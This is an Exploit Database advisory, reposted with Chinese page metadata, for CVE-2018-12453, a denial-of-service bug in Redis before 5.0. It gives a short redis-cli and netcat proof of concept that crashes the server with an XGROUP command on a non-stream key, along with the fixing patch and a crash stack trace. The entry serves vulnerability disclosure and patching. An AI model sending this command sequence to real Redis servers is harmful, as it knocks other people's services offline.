Redis 5.0 – Denial of Service

• Exploit Database
• 94 阅读

• 作者： Fakhri Zulkifli
  日期： 2018-06-20
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/44908/

• # Exploit Title: Redis 5.0 Denial of Service
  # Date: 2018-06-13
  # Exploit Author: Fakhri Zulkifli (@d0lph1n98)
  # Vendor Homepage: https://redis.io/
  # Software Link: https://redis.io/download
  # Version: 5.0
  # Fixed on: 5.0
  # CVE : CVE-2018-12453
  
  Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream.
  
  
  PoC:
  $ ./src/redis-cli -p 1234
  127.0.0.1:1234> set a 123
  OK
  127.0.0.1:1234> xgroup create a b $
  Error: Connection reset by peer<— segfault'ed
  127.0.0.1:1234>
  
  The bug also could be triggered via netcat
  $ nc 127.0.0.1 1234
  set a 123
  +OK
  xgroup create a b $<— segfault’ed after this line
  
  
  @@ -1576,7 +1576,7 @@ NULL
   /* Lookup the key now, this is common for all the subcommands but HELP. */
   if (c->argc >= 4) {
  robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr);
  - if (o == NULL) return;
  + if (o == NULL || checkType(c,o,OBJ_STREAM)) return;
   s = o->ptr;
   grpname = c->argv[3]->ptr;
  
  
  #0 0x6d0706 in logStackContent /home/user/redis/src/debug.c:732:45
  #1 0x6d3917 in sigsegvHandler /home/user/redis/src/debug.c:1089:5
  #2 0x7f65d736e38f(/lib/x86_64-linux-gnu/libpthread.so.0+0x1138f)
  #3 0x804afc in streamLookupCG /home/user/redis/src/t_stream.c:1502:12
  #4 0x805b36 in xgroupCommand /home/user/redis/src/t_stream.c:1584:19
  #5 0x58ded7 in call /home/user/redis/src/server.c:2298:5
  #6 0x591c70 in processCommand /home/user/redis/src/server.c:2580:9
  #7 0x5e2d98 in processInputBuffer /home/user/redis/src/networking.c:1325:17
  #8 0x565612 in aeProcessEvents /home/user/redis/src/ae.c:443:17
  #9 0x56614c in aeMain /home/user/redis/src/ae.c:501:9
  #10 0x59da71 in main /home/user/redis/src/server.c:3992:5
  #11 0x7f65d6d9d82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
  #12 0x43da38 in _start (/home/user/redis/src/redis-server+0x43da38)
  

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